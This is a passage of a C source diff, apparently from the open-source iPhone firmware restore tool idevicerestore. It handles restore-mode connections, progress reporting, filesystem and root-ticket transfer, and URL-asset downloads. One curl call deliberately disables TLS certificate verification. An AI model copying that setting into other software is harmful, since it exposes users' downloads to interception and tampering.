+ if (restored_query_type(restore, NULL, NULL) != RESTORE_E_SUCCESS) {
+ restored_client_free(restore);
+ idevice_free(device);
+ return -1;
+ }
+
+ restore_error = restored_query_value(restore, "HardwareInfo", &hwinfo);
+ if (restore_error == RESTORE_E_SUCCESS) {
+ uint8_t b = 0;
+ plist_t node = plist_dict_get_item(hwinfo, "SupportsImage4");
+ if (node && plist_get_node_type(node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(node, &b);
+ result = b;
+ }
+ }
+ restored_client_free(restore);
+ idevice_free(device);
+
+ return result;
+}
+
+int restore_reboot(struct idevicerestore_client_t* client)
+{
+ if(client->restore == NULL) {
+ if (restore_open_with_timeout(client) < 0) {
+ logger(LL_ERROR, "Unable to open device in restore mode\n");
+ return -1;
+ }
+ }
+
+ mutex_lock(&client->device_event_mutex);
+
+ logger(LL_INFO, "Rebooting restore mode device...\n");
+ restored_reboot(client->restore->client);
+
+ restored_client_free(client->restore->client);
+
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 30000);
+ if (client->mode == MODE_RESTORE) {
+ mutex_unlock(&client->device_event_mutex);
+ return -1;
+ }
+ mutex_unlock(&client->device_event_mutex);
+
+ return 0;
+}
+
+static int restore_is_current_device(struct idevicerestore_client_t* client, const char* udid)
+{
+ if (!client) {
+ return 0;
+ }
+ if (!client->ecid) {
+ logger(LL_ERROR, "%s: no ECID given in client data\n", __func__);
+ return 0;
+ }
+
+ idevice_t device = NULL;
+ idevice_error_t device_error;
+ restored_client_t restored = NULL;
+ restored_error_t restore_error;
+ char *type = NULL;
+ uint64_t version = 0;
+
+ device_error = idevice_new(&device, udid);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_DEBUG, "%s: can't open device with UDID %s\n", __func__, udid);
+ return 0;
+ }
+
+ restore_error = restored_client_new(device, &restored, "idevicerestore");
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_DEBUG, "%s: can't connect to restored\n", __func__);
+ idevice_free(device);
+ return 0;
+ }
+ restore_error = restored_query_type(restored, &type, &version);
+ if ((restore_error == RESTORE_E_SUCCESS) && type && (strcmp(type, "com.apple.mobile.restored") == 0)) {
+ logger(LL_DEBUG, "%s: Connected to %s, version %d\n", __func__, type, (int)version);
+ } else {
+ logger(LL_DEBUG, "%s: device %s is not in restore mode\n", __func__, udid);
+ restored_client_free(restored);
+ idevice_free(device);
+ return 0;
+ }
+
+ plist_t hwinfo = NULL;
+ restore_error = restored_query_value(restored, "HardwareInfo", &hwinfo);
+ if ((restore_error != RESTORE_E_SUCCESS) || !hwinfo) {
+ logger(LL_ERROR, "%s: Unable to get HardwareInfo from restored\n", __func__);
+ restored_client_free(restored);
+ idevice_free(device);
+ plist_free(hwinfo);
+ return 0;
+ }
+ restored_client_free(restored);
+ idevice_free(device);
+
+ uint64_t this_ecid = 0;
+ plist_t node = plist_dict_get_item(hwinfo, "UniqueChipID");
+ if (node && plist_get_node_type(node) == PLIST_UINT) {
+ plist_get_uint_val(node, &this_ecid);
+ }
+ plist_free(hwinfo);
+
+ if (this_ecid == 0) {
+ logger(LL_ERROR, "%s: Unable to get ECID from restored\n", __func__);
+ return 0;
+ }
+
+ return (this_ecid == client->ecid);
+}
+
+int restore_open_with_timeout(struct idevicerestore_client_t* client)
+{
+ char *type = NULL;
+ uint64_t version = 0;
+ idevice_t device = NULL;
+ restored_client_t restored = NULL;
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ restored_error_t restore_error = RESTORE_E_SUCCESS;
+
+ // no context exists so bail
+ if (client == NULL) {
+ return -1;
+ }
+
+ if (client->ecid == 0) {
+ logger(LL_ERROR, "no ECID in client data!\n");
+ return -1;
+ }
+
+ // create our restore client if it doesn't yet exist
+ if (client->restore == NULL) {
+ client->restore = (struct restore_client_t*) malloc(sizeof(struct restore_client_t));
+ if(client->restore == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ return -1;
+ }
+ memset(client->restore, '\0', sizeof(struct restore_client_t));
+ }
+
+ restore_device_connected = 0;
+
+ if (!restore_is_current_device(client, client->udid)) {
+ logger(LL_ERROR, "Unable to connect to device in restore mode\n");
+ return -1;
+ }
+
+ logger(LL_INFO, "Connecting now...\n");
+ device_error = idevice_new(&device, client->udid);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ return -1;
+ }
+
+ restore_error = restored_client_new(device, &restored, "idevicerestore");
+ if (restore_error != RESTORE_E_SUCCESS) {
+ idevice_free(device);
+ return -1;
+ }
+
+ restore_error = restored_query_type(restored, &type, &version);
+ if ((restore_error == RESTORE_E_SUCCESS) && type && (strcmp(type, "com.apple.mobile.restored") == 0)) {
+ client->restore->protocol_version = version;
+ logger(LL_INFO, "Connected to %s, version %d\n", type, (int)version);
+ } else {
+ logger(LL_ERROR, "Unable to connect to restored, error=%d\n", restore_error);
+ restored_client_free(restored);
+ idevice_free(device);
+ return -1;
+ }
+
+ client->restore->device = device;
+ client->restore->client = restored;
+ return 0;
+}
+
+const char* restore_progress_string(unsigned int operation)
+{
+ switch (operation) {
+ case CREATE_PARTITION_MAP:
+ return "Creating partition map";
+ case CREATE_FILESYSTEM:
+ return "Creating filesystem";
+ case RESTORE_IMAGE:
+ return "Restoring image";
+ case VERIFY_RESTORE:
+ return "Verifying restore";
+ case CHECK_FILESYSTEMS:
+ return "Checking filesystems";
+ case MOUNT_FILESYSTEMS:
+ return "Mounting filesystems";
+ case FIXUP_VAR:
+ return "Fixing up /var";
+ case FLASH_FIRMWARE:
+ return "Flashing firmware";
+ case UPDATE_BASEBAND:
+ return "Updating baseband";
+ case SET_BOOT_STAGE:
+ return "Setting boot stage";
+ case REBOOT_DEVICE:
+ return "Rebooting device";
+ case SHUTDOWN_DEVICE:
+ return "Shutdown device";
+ case TURN_ON_ACCESSORY_POWER:
+ return "Turning on accessory power";
+ case CLEAR_BOOTARGS:
+ return "Clearing persistent boot-args";
+ case MODIFY_BOOTARGS:
+ return "Modifying persistent boot-args";
+ case INSTALL_ROOT:
+ return "Installing root";
+ case INSTALL_KERNELCACHE:
+ return "Installing kernelcache";
+ case WAIT_FOR_NAND:
+ return "Waiting for NAND";
+ case UNMOUNT_FILESYSTEMS:
+ return "Unmounting filesystems";
+ case SET_DATETIME:
+ return "Setting date and time on device";
+ case EXEC_IBOOT:
+ return "Executing iBEC to bootstrap update";
+ case FINALIZE_NAND_EPOCH_UPDATE:
+ return "Finalizing NAND epoch update";
+ case CHECK_INAPPR_BOOT_PARTITIONS:
+ return "Checking for inappropriate bootable partitions";
+ case CREATE_FACTORY_RESTORE_MARKER:
+ return "Creating factory restore marker";
+ case LOAD_FIRMWARE:
+ return "Loading firmware data to flash";
+ case REQUESTING_FUD_DATA:
+ return "Requesting FUD data";
+ case REMOVING_ACTIVATION_RECORD:
+ return "Removing activation record";
+ case CHECK_BATTERY_VOLTAGE:
+ return "Checking battery voltage";
+ case WAIT_BATTERY_CHARGE:
+ return "Waiting for battery to charge";
+ case CLOSE_MODEM_TICKETS:
+ return "Closing modem tickets";
+ case MIGRATE_DATA:
+ return "Migrating data";
+ case WIPE_STORAGE_DEVICE:
+ return "Wiping storage device";
+ case SEND_APPLE_LOGO:
+ return "Sending Apple logo to device";
+ case CHECK_LOGS:
+ return "Checking for uncollected logs";
+ case CLEAR_NVRAM:
+ return "Clearing NVRAM";
+ case UPDATE_GAS_GAUGE:
+ return "Updating gas gauge software";
+ case PREPARE_BASEBAND_UPDATE:
+ return "Preparing for baseband update";
+ case BOOT_BASEBAND:
+ return "Booting the baseband";
+ case CREATE_SYSTEM_KEYBAG:
+ return "Creating system key bag";
+ case UPDATE_IR_MCU_FIRMWARE:
+ return "Updating IR MCU firmware";
+ case RESIZE_SYSTEM_PARTITION:
+ return "Resizing system partition";
+ case COLLECTING_UPDATER_OUTPUT:
+ return "Collecting updater output";
+ case PAIR_STOCKHOLM:
+ return "Pairing Stockholm";
+ case UPDATE_STOCKHOLM:
+ return "Updating Stockholm";
+ case UPDATE_SWDHID:
+ return "Updating SWDHID";
+ case CERTIFY_SEP:
+ return "Certifying SEP";
+ case UPDATE_NAND_FIRMWARE:
+ return "Updating NAND Firmware";
+ case UPDATE_SE_FIRMWARE:
+ return "Updating SE Firmware";
+ case UPDATE_SAVAGE:
+ return "Updating Savage";
+ case INSTALLING_DEVICETREE:
+ return "Installing DeviceTree";
+ case CERTIFY_SAVAGE:
+ return "Certifying Savage";
+ case SUBMITTING_PROVINFO:
+ return "Submitting Provinfo";
+ case CERTIFY_YONKERS:
+ return "Certifying Yonkers";
+ case UPDATE_ROSE:
+ return "Updating Rose";
+ case UPDATE_VERIDIAN:
+ return "Updating Veridian";
+ case CREATING_PROTECTED_VOLUME:
+ return "Creating Protected Volume";
+ case RESIZING_MAIN_FS_PARTITION:
+ return "Resizing Main Filesystem Partition";
+ case CREATING_RECOVERY_OS_VOLUME:
+ return "Creating Recovery OS Volume";
+ case INSTALLING_RECOVERY_OS_FILES:
+ return "Installing Recovery OS Files";
+ case INSTALLING_RECOVERY_OS_IMAGE:
+ return "Installing Recovery OS Image";
+ case REQUESTING_EAN_DATA:
+ return "Requesting EAN Data";
+ case SEALING_SYSTEM_VOLUME:
+ return "Sealing System Volume";
+ case UPDATING_APPLETCON:
+ return "Updating AppleTCON";
+ default:
+ return "Unknown operation";
+ }
+}
+
+struct restored_service_client {
+
+};
+
+#define SERVICE_TYPE_RESTORED 1
+#define SERVICE_TYPE_PLIST 2
+
+typedef struct restore_service_client {
+ void* client;
+ int type;
+} *restore_service_client_t;
+
+static void* _restore_get_service_client_for_data_request(struct idevicerestore_client_t *client, plist_t message)
+{
+ if (!client || !client->restore || !client->restore->client) return NULL;
+ restore_service_client_t service = (restore_service_client_t)malloc(sizeof(struct restore_service_client));
+ if (!PLIST_IS_DICT(message) || !plist_dict_get_item(message, "DataPort")) {
+ service->client = client->restore->client;
+ service->type = SERVICE_TYPE_RESTORED;
+ return service;
+ }
+ plist_t data_type = plist_dict_get_item(message, "DataType");
+ uint16_t data_port = plist_dict_get_uint(message, "DataPort");
+ const char* data_type_str = plist_get_string_ptr(data_type, NULL);
+
+ struct lockdownd_service_descriptor svcdesc = {
+ data_port,
+ 0,
+ (char*)data_type_str
+ };
+ property_list_service_client_t plclient = NULL;
+ logger(LL_INFO, "Connecting to %s data port %u\n", data_type_str, data_port);
+ if (property_list_service_client_new(client->restore->device, &svcdesc, &plclient) != PROPERTY_LIST_SERVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Failed to start service connection for %s on port %u\n", data_type_str, data_port);
+ free(service);
+ return NULL;
+ }
+ service->client = plclient;
+ service->type = SERVICE_TYPE_PLIST;
+
+ return service;
+}
+
+static int _restore_service_send(restore_service_client_t service, plist_t plist, plist_format_t fmt)
+{
+ if (!service) {
+ return -1;
+ }
+ switch (service->type) {
+ case SERVICE_TYPE_RESTORED:
+ return restored_send((restored_client_t)service->client, plist);
+ case SERVICE_TYPE_PLIST:
+ if (fmt == PLIST_FORMAT_BINARY) {
+ return property_list_service_send_binary_plist((property_list_service_client_t)service->client, plist);
+ }
+ return property_list_service_send_xml_plist((property_list_service_client_t)service->client, plist);
+ default:
+ break;
+ }
+ return -1;
+}
+
+static int _restore_service_recv_timeout(restore_service_client_t service, plist_t *plist, unsigned int timeout)
+{
+ struct restored_client_private {
+ property_list_service_client_t parent;
+ char *udid;
+ char *label;
+ plist_t info;
+ };
+ if (!service) {
+ return -1;
+ }
+ switch (service->type) {
+ case SERVICE_TYPE_RESTORED:
+ return property_list_service_receive_plist_with_timeout(((struct restored_client_private*)service->client)->parent, plist, timeout);
+ case SERVICE_TYPE_PLIST:
+ return property_list_service_receive_plist_with_timeout((property_list_service_client_t)service->client, plist, timeout);
+ default:
+ break;
+ }
+ return -1;
+}
+
+static void _restore_service_free(restore_service_client_t service)
+{
+ if (!service) {
+ return;
+ }
+ switch (service->type) {
+ case SERVICE_TYPE_RESTORED:
+ break;
+ case SERVICE_TYPE_PLIST:
+ property_list_service_client_free((property_list_service_client_t)service->client);
+ break;
+ default:
+ break;
+ }
+ free(service);
+}
+
+static int lastop = 0;
+
+static int restore_handle_previous_restore_log_msg(restored_client_t client, plist_t msg)
+{
+ plist_t node = NULL;
+ char* restorelog = NULL;
+
+ node = plist_dict_get_item(msg, "PreviousRestoreLog");
+ if (!node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_DEBUG, "Failed to parse restore log from PreviousRestoreLog plist\n");
+ return -1;
+ }
+ plist_get_string_val(node, &restorelog);
+
+ logger(LL_VERBOSE, "Previous Restore Log Received:\n%s\n", restorelog);
+ free(restorelog);
+
+ return 0;
+}
+
+int restore_handle_progress_msg(struct idevicerestore_client_t* client, plist_t msg)
+{
+ plist_t node = NULL;
+ uint64_t progress = 0;
+ uint64_t operation = 0;
+
+ node = plist_dict_get_item(msg, "Operation");
+ if (!node || plist_get_node_type(node) != PLIST_UINT) {
+ logger(LL_DEBUG, "Failed to parse operation from ProgressMsg plist\n");
+ return -1;
+ }
+ plist_get_uint_val(node, &operation);
+
+ node = plist_dict_get_item(msg, "Progress");
+ if (!node || plist_get_node_type(node) != PLIST_UINT) {
+ logger(LL_DEBUG, "Failed to parse progress from ProgressMsg plist \n");
+ return -1;
+ }
+ plist_get_uint_val(node, &progress);
+
+ /* for restore protocol version < 14 all operation codes > 35 are 1 less so we add one */
+ int adapted_operation = (int)operation;
+ if (client && client->restore && client->restore->protocol_version < 14) {
+ if (adapted_operation > 35) {
+ adapted_operation++;
+ }
+ }
+
+ if ((progress > 0) && (progress <= 100)) {
+ if ((int)operation != lastop) {
+ logger(LL_INFO, "%s (%d)\n", restore_progress_string(adapted_operation), (int)operation);
+ }
+ switch (adapted_operation) {
+ case RESTORE_IMAGE:
+ idevicerestore_progress(client, RESTORE_STEP_UPLOAD_FS, progress / 100.0);
+ break;
+ case VERIFY_RESTORE:
+ idevicerestore_progress(client, RESTORE_STEP_VERIFY_FS, progress / 100.0);
+ break;
+ case FLASH_FIRMWARE:
+ idevicerestore_progress(client, RESTORE_STEP_FLASH_FW, progress / 100.0);
+ break;
+ case UPDATE_BASEBAND:
+ case UPDATE_IR_MCU_FIRMWARE:
+ idevicerestore_progress(client, RESTORE_STEP_FLASH_BB, progress / 100.0);
+ break;
+ case REQUESTING_FUD_DATA:
+ idevicerestore_progress(client, RESTORE_STEP_FUD, progress / 100.0);
+ break;
+ case UPDATE_ROSE:
+ case UPDATE_VERIDIAN:
+ case REQUESTING_EAN_DATA:
+ break;
+ default:
+ logger(LL_DEBUG, "Unhandled progress operation %d (%d)\n", adapted_operation, (int)operation);
+ break;
+ }
+ } else {
+ logger(LL_INFO, "%s (%d)\n", restore_progress_string(adapted_operation), (int)operation);
+ }
+ lastop = (int)operation;
+
+ return 0;
+}
+
+int restore_handle_status_msg(struct idevicerestore_client_t* client, plist_t msg)
+{
+ int result = 0;
+ uint64_t value = 0;
+ char* log = NULL;
+ logger(LL_INFO, "Got status message\n");
+
+ // read status code
+ plist_t node = plist_dict_get_item(msg, "Status");
+ plist_get_uint_val(node, &value);
+
+ switch(value) {
+ case 0:
+ logger(LL_INFO, "Status: Restore Finished\n");
+ restore_finished = 1;
+ break;
+ case 0xFFFFFFFFFFFFFFFFLL:
+ logger(LL_INFO, "Status: Verification Error\n");
+ break;
+ case 6:
+ logger(LL_INFO, "Status: Disk Failure\n");
+ break;
+ case 14:
+ logger(LL_INFO, "Status: Fail\n");
+ break;
+ case 27:
+ logger(LL_INFO, "Status: Failed to mount filesystems.\n");
+ break;
+ case 50:
+ case 51:
+ logger(LL_INFO, "Status: Failed to load SEP Firmware.\n");
+ break;
+ case 53:
+ logger(LL_INFO, "Status: Failed to recover FDR data.\n");
+ break;
+ case 1015:
+ logger(LL_INFO, "Status: X-Gold Baseband Update Failed. Defective Unit?\n");
+ break;
+ default:
+ logger(LL_INFO, "Unhandled status message (%" PRIu64 ")\n", value);
+ logger_dump_plist(LL_VERBOSE, msg, 1);
+ break;
+ }
+
+ // read error code
+ node = plist_dict_get_item(msg, "AMRError");
+ if (node && plist_get_node_type(node) == PLIST_UINT) {
+ plist_get_uint_val(node, &value);
+ result = -value;
+ if (result > 0) {
+ result = -result;
+ }
+ }
+
+ // check if log is available
+ node = plist_dict_get_item(msg, "Log");
+ if (node && plist_get_node_type(node) == PLIST_STRING) {
+ plist_get_string_val(node, &log);
+ logger(LL_INFO, "Log is available:\n%s\n", log);
+ free(log);
+ log = NULL;
+ }
+
+ return result;
+}
+
+static int restore_handle_baseband_updater_output_data(struct idevicerestore_client_t* client, plist_t message)
+{
+ int result = -1;
+ plist_t node = plist_dict_get_item(message, "DataPort");
+ uint64_t u64val = 0;
+ plist_get_uint_val(node, &u64val);
+ uint16_t data_port = (uint16_t)u64val;
+
+ int attempts = 10;
+ idevice_connection_t connection = NULL;
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+
+ if (!client || !client->restore || !client->restore->build_identity || !client->restore->device) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return -1;
+ }
+
+ logger(LL_DEBUG, "Connecting to baseband updater data port\n");
+ while (--attempts > 0) {
+ device_error = idevice_connect(client->restore->device, data_port, &connection);
+ if (device_error == IDEVICE_E_SUCCESS) {
+ break;
+ }
+ sleep(1);
+ logger(LL_DEBUG, "Retrying connection...\n");
+ }
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to connect to baseband updater data port\n");
+ return result;
+ }
+
+ int fl = snprintf(NULL, 0, "updater_output-%s.cpio", client->udid);
+ if (fl < 0) {
+ idevice_disconnect(connection);
+ logger(LL_ERROR, "snprintf failed?!\n");
+ return result;
+ }
+ char* updater_out_fn = malloc(fl+1);
+ if (!updater_out_fn) {
+ idevice_disconnect(connection);
+ logger(LL_ERROR, "Could not allocate buffer for filename\n");
+ return result;
+ }
+ snprintf(updater_out_fn, fl+1, "updater_output-%s.cpio", client->udid);
+ FILE* f = fopen(updater_out_fn, "wb");
+ if (!f) {
+ logger(LL_ERROR, "Could not open %s for writing, will not write baseband updater output data.\n", updater_out_fn);
+ }
+ const int bufsize = 65536;
+ char* buf = malloc(bufsize);
+ if (!buf) {
+ free(updater_out_fn);
+ idevice_disconnect(connection);
+ logger(LL_ERROR, "Could not allocate buffer\n");
+ return result;
+ }
+ uint32_t size = 0;
+ while (idevice_connection_receive(connection, buf, bufsize, &size) == IDEVICE_E_SUCCESS) {
+ if (f) {
+ fwrite(buf, 1, size, f);
+ }
+ }
+ if (f) {
+ fclose(f);
+ logger(LL_INFO, "Wrote baseband updater output data to %s\n", updater_out_fn);
+ }
+ free(updater_out_fn);
+ free(buf);
+ idevice_disconnect(connection);
+ result = 0;
+
+ return result;
+}
+
+static int restore_handle_bb_update_status_msg(struct idevicerestore_client_t* client, plist_t message)
+{
+ int result = -1;
+ plist_t node = plist_dict_get_item(message, "Accepted");
+ uint8_t accepted = 0;
+ plist_get_bool_val(node, &accepted);
+
+ if (!accepted) {
+ logger(LL_ERROR, "device didn't accept BasebandData\n");
+ return result;
+ }
+
+ uint8_t done = 0;
+ node = plist_access_path(message, 2, "Output", "done");
+ if (node && plist_get_node_type(node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(node, &done);
+ }
+
+ if (done) {
+ logger(LL_INFO, "Updating Baseband completed.\n");
+ plist_t provisioning = plist_access_path(message, 2, "Output", "provisioning");
+ if (provisioning && plist_get_node_type(provisioning) == PLIST_DICT) {
+ char* sval = NULL;
+ node = plist_dict_get_item(provisioning, "IMEI");
+ if (node && plist_get_node_type(node) == PLIST_STRING) {
+ plist_get_string_val(node, &sval);
+ logger(LL_INFO, "Provisioning:\n");
+ logger(LL_INFO, "IMEI:%s\n", sval);
+ free(sval);
+ sval = NULL;
+ }
+ }
+ } else {
+ logger(LL_INFO, "Updating Baseband in progress...\n");
+ }
+ result = 0;
+
+ return result;
+}
+
+struct _restore_asr_progress_data {
+ struct idevicerestore_client_t* client;
+ uint32_t tag;
+};
+
+static void restore_asr_progress_cb(double progress, void* userdata)
+{
+ struct idevicerestore_client_t* client = (struct idevicerestore_client_t*)userdata;
+ if (client) {
+ idevicerestore_progress(client, RESTORE_STEP_UPLOAD_FS, progress);
+ }
+}
+
+int restore_send_filesystem(struct idevicerestore_client_t* client, plist_t message)
+{
+ asr_client_t asr = NULL;
+ ipsw_archive_t ipsw_dummy = NULL;
+ ipsw_file_handle_t file = NULL;
+ char* fsname = NULL;
+
+ if (!client || !client->restore || !client->restore->build_identity || !client->restore->device) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "About to send filesystem...\n");
+
+ if (build_identity_get_component_path(client->restore->build_identity, "OS", &fsname) < 0) {
+ logger(LL_ERROR, "Unable to get path for filesystem component\n");
+ return -1;
+ }
+ if (client->filesystem) {
+ char* path = strdup(client->filesystem);
+ const char* fsname_base = path_get_basename(path);
+ char* parent_dir = dirname(path);
+ ipsw_dummy = ipsw_open(parent_dir);
+ file = ipsw_file_open(ipsw_dummy, fsname_base);
+ free(path);
+ } else {
+ file = ipsw_file_open(client->ipsw, fsname);
+ }
+ if (!file) {
+ logger(LL_ERROR, "Unable to open '%s' in ipsw\n", fsname);
+ free(fsname);
+ }
+
+ uint16_t asr_port = (uint16_t)plist_dict_get_uint(message, "DataPort");
+ if (asr_port == 0) {
+ asr_port = ASR_DEFAULT_PORT;
+ }
+ if (asr_open_with_timeout(client->restore->device, &asr, asr_port) < 0) {
+ ipsw_file_close(file);
+ ipsw_close(ipsw_dummy);
+ logger(LL_ERROR, "Unable to connect to ASR\n");
+ return -1;
+ }
+ logger(LL_INFO, "Connected to ASR\n");
+
+ // this step sends requested chunks of data from various offsets to asr so
+ // it can validate the filesystem before installing it
+ logger(LL_INFO, "Validating the filesystem\n");
+ if (asr_perform_validation(asr, file) < 0) {
+ ipsw_file_close(file);
+ ipsw_close(ipsw_dummy);
+ logger(LL_ERROR, "ASR was unable to validate the filesystem\n");
+ asr_free(asr);
+ return -1;
+ }
+ logger(LL_INFO, "Filesystem validated\n");
+
+ if (asr_port == ASR_DEFAULT_PORT) {
+ asr_set_progress_callback(asr, restore_asr_progress_cb, client);
+ }
+
+ // once the target filesystem has been validated, ASR then requests the
+ // entire filesystem to be sent.
+ logger(LL_INFO, "Sending filesystem now...\n");
+ if (asr_send_payload(asr, file) < 0) {
+ ipsw_file_close(file);
+ ipsw_close(ipsw_dummy);
+ logger(LL_ERROR, "Unable to send payload to ASR\n");
+ asr_free(asr);
+ return -1;
+ }
+ ipsw_file_close(file);
+ ipsw_close(ipsw_dummy);
+
+ logger(LL_INFO, "Done sending filesystem\n");
+
+ asr_free(asr);
+ return 0;
+}
+
+int restore_send_recovery_os_root_ticket(struct idevicerestore_client_t* client, plist_t message)
+{
+ restored_error_t restore_error;
+ plist_t dict;
+
+ logger(LL_INFO, "About to send RecoveryOSRootTicket...\n");
+
+ if (client->root_ticket) {
+ dict = plist_new_dict();
+ plist_dict_set_item(dict, "RecoveryOSRootTicketData", plist_new_data((char*)client->root_ticket, client->root_ticket_len));
+ } else {
+ unsigned char* data = NULL;
+ unsigned int len = 0;
+
+ if (!client->tss_recoveryos_root_ticket && !(client->flags & FLAG_CUSTOM)) {
+ logger(LL_ERROR, "Cannot send RootTicket without TSS\n");
+ return -1;
+ }
+
+ if (client->image4supported) {
+ if (tss_response_get_ap_img4_ticket(client->tss_recoveryos_root_ticket, &data, &len) < 0) {
+ logger(LL_ERROR, "Unable to get ApImg4Ticket from TSS\n");
+ return -1;
+ }
+ } else {
+ if (!(client->flags & FLAG_CUSTOM) && (tss_response_get_ap_ticket(client->tss, &data, &len) < 0)) {
+ logger(LL_ERROR, "Unable to get ticket from TSS\n");
+ return -1;
+ }
+ }
+
+ dict = plist_new_dict();
+ if (data && (len > 0)) {
+ plist_dict_set_item(dict, "RootTicketData", plist_new_data((char*)data, len));
+ } else {
+ logger(LL_NOTICE, "Not sending RootTicketData (no data present)\n");
+ }
+ free(data);
+ }
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "Sending RecoveryOSRootTicket now...\n");
+ restore_error = _restore_service_send(service, dict, 0);
+ plist_free(dict);
+ _restore_service_free(service);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send RootTicket (%d)\n", restore_error);
+ return -1;
+ }
+
+ logger(LL_INFO, "Done sending RecoveryOS RootTicket\n");
+ return 0;
+}
+
+
+int restore_send_root_ticket(struct idevicerestore_client_t* client, plist_t message)
+{
+ restored_error_t restore_error;
+ plist_t dict;
+
+ logger(LL_INFO, "About to send RootTicket...\n");
+
+ if (client->root_ticket) {
+ dict = plist_new_dict();
+ plist_dict_set_item(dict, "RootTicketData", plist_new_data((char*)client->root_ticket, client->root_ticket_len));
+ } else {
+ unsigned char* data = NULL;
+ unsigned int len = 0;
+
+ if (!client->tss && !(client->flags & FLAG_CUSTOM)) {
+ logger(LL_ERROR, "Cannot send RootTicket without TSS\n");
+ return -1;
+ }
+
+ if (client->image4supported) {
+ if (tss_response_get_ap_img4_ticket(client->tss, &data, &len) < 0) {
+ logger(LL_ERROR, "Unable to get ApImg4Ticket from TSS\n");
+ return -1;
+ }
+ } else {
+ if (!(client->flags & FLAG_CUSTOM) && (tss_response_get_ap_ticket(client->tss, &data, &len) < 0)) {
+ logger(LL_ERROR, "Unable to get ticket from TSS\n");
+ return -1;
+ }
+ }
+
+ dict = plist_new_dict();
+ if (data && (len > 0)) {
+ plist_dict_set_item(dict, "RootTicketData", plist_new_data((char*)data, len));
+ } else {
+ logger(LL_INFO, "Not sending RootTicketData (no data present)\n");
+ }
+ free(data);
+ }
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "Sending RootTicket now...\n");
+ restore_error = _restore_service_send(service, dict, 0);
+ plist_free(dict);
+ _restore_service_free(service);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send RootTicket (%d)\n", restore_error);
+ return -1;
+ }
+
+ logger(LL_INFO, "Done sending RootTicket\n");
+ return 0;
+}
+
+typedef struct {
+ int length;
+ char* content;
+} query_response;
+
+static size_t _curl_write_callback(char* data, size_t size, size_t nmemb, query_response* response)
+{
+ size_t total = size * nmemb;
+ if (total != 0) {
+ response->content = realloc(response->content, response->length + total + 1);
+ memcpy(response->content + response->length, data, total);
+ response->content[response->length + total] = '\0';
+ response->length += total;
+ }
+
+ return total;
+}
+
+static size_t _curl_header_callback(char* buffer, size_t size, size_t nitems, void* userdata)
+{
+ plist_t header_dict = (plist_t)userdata;
+ size_t len = nitems*size;
+ char* key = NULL;
+ char* val = NULL;
+ size_t i = 0;
+ while (i < len) {
+ if (buffer[i] == ':') {
+ key = malloc(i+1);
+ strncpy(key, buffer, i);
+ key[i] = '\0';
+ i++;
+ while (i < len && (buffer[i] == ' ' || buffer[i] == '\t')) i++;
+ val = malloc(len-i+1);
+ strncpy(val, buffer+i, len-i);
+ val[len-i] = '\0';
+ break;
+ }
+ i++;
+ }
+ if (key && val) {
+ plist_dict_set_item(header_dict, key, plist_new_string(val));
+ }
+ free(key);
+ free(val);
+ return len;
+}
+
+int restore_send_url_asset(struct idevicerestore_client_t* client, plist_t message)
+{
+ plist_t arguments = plist_dict_get_item(message, "Arguments");
+ if (!PLIST_IS_DICT(arguments)) {
+ logger(LL_ERROR, "%s: Unexpected arguments\n", __func__);
+ logger_dump_plist(LL_VERBOSE, message, 1);
+ return -1;
+ }
+
+ const char* request_method = plist_get_string_ptr(plist_dict_get_item(arguments, "RequestMethod"), NULL);
+ if (!request_method) {
+ logger(LL_ERROR, "%s: Unable to extract RequestMethod from Arguments\n", __func__);
+ return -1;
+ }
+ if (strcmp(request_method, "GET")) {
+ logger(LL_ERROR, "%s: Unexpected RequestMethod '%s' in message\n", __func__, request_method);
+ return -1;
+ }
+ const char* request_url = plist_get_string_ptr(plist_dict_get_item(arguments, "RequestURL"), NULL);
+ if (!request_url) {
+ logger(LL_ERROR, "%s: Unable to extract RequestURL from Arguments\n", __func__);
+ return -1;
+ }
+ logger(LL_INFO, "Requesting URLAsset from %s\n", request_url);
+
+ char curl_error_message[CURL_ERROR_SIZE];
+ CURL* handle = curl_easy_init();
+ /* disable SSL verification to allow download from untrusted https locations */
+ curl_easy_setopt(handle, CURLOPT_SSL_VERIFYPEER, 0);
+
+ query_response* response = malloc(sizeof(query_response));
+ if (response == NULL) {
+ logger(LL_ERROR, "%s: Unable to allocate sufficient memory\n", __func__);
+ return -1;
+ }
+
+ response->length = 0;
+ response->content = malloc(1);
+ response->content[0] = '\0';
+
+ curl_easy_setopt(handle, CURLOPT_HTTPGET, 1L);
+ curl_easy_setopt(handle, CURLOPT_ERRORBUFFER, curl_error_message);
+ curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, (curl_write_callback)&_curl_write_callback);
+ curl_easy_setopt(handle, CURLOPT_HEADERFUNCTION, &_curl_header_callback);
+ plist_t response_headers = plist_new_dict();
+ curl_easy_setopt(handle, CURLOPT_HEADERDATA, response_headers);
+ curl_easy_setopt(handle, CURLOPT_WRITEDATA, response);
+ if (client->debug_level > 0) {
+ curl_easy_setopt(handle, CURLOPT_VERBOSE, 1L);
+ }
+ curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1);
+ curl_easy_setopt(handle, CURLOPT_URL, request_url);
